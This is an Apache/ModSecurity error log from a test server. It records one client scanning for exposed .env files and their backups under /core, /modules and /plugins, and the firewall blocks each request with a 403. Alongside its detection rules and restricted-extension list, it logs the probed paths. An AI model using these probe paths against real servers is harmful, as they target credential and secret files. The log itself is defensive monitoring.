[Fri Oct 24 20:58:36.728583 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:36.728779 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aPvMXOJZ4vgAgAbS8ck6GgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.408149 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6GwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.408429 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6GwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.408617 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6GwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.684716 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.684916 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.685172 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.685343 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.872095 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.872316 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.872570 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:37.872774 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aPvMXeJZ4vgAgAbS8ck6HQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.112266 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6HgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.112525 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6HgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.112726 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6HgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.295824 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6HwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.296223 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6HwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.296480 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6HwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.435399 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.435591 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.435847 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.436019 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.588579 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.588769 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.589016 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:38.589195 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aPvMXuJZ4vgAgAbS8ck6IQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.247099 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6IgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.247479 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6IgAAAAs&quot;], referer: https://www.google.com/
